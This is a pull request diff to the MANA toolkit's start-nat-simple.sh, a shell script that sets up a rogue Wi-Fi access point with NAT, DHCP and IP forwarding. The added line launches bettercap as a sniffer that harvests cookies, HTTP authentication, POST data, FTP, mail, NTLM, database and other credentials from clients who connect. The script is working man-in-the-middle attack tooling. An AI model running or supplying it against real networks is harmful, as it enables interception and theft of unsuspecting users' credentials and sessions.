Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion run-mana/start-nat-simple.sh
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,9 @@ phy=wlan1
conf=/etc/mana-toolkit/hostapd-mana.conf
hostapd=/usr/lib/mana-toolkit/hostapd

#Starts Bettercap sniffer only; NOTE: HTTPS traffic will not decrypted; use simple-nat-full.sh instead.
gnome-terminal -e "bettercap -I $phy --sniffer --no-discovery -L -S NONE -P COOKIE,DHCP,DICT,FTP,HTTPAUTH,HTTPS,IRC,MAIL,MPD,MYSQL,NNTP,NTLMSS,PGSQL,POST,REDIS,RLOGIN,SNMP,SNPP,URL,WHATSAPP"

service network-manager stop
rfkill unblock wlan

Expand All @@ -16,7 +19,7 @@ sleep 5
ifconfig $phy 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

dnsmasq -z -C /etc/mana-toolkit/dnsmasq-dhcpd.conf -i $phy -I lo
dnsmasq -z -C /etc/mana-toolkit/dnsmasq-dhcpd.conf -i $phy -I lo -P 0

echo '1' > /proc/sys/net/ipv4/ip_forward
iptables --policy INPUT ACCEPT
Expand Down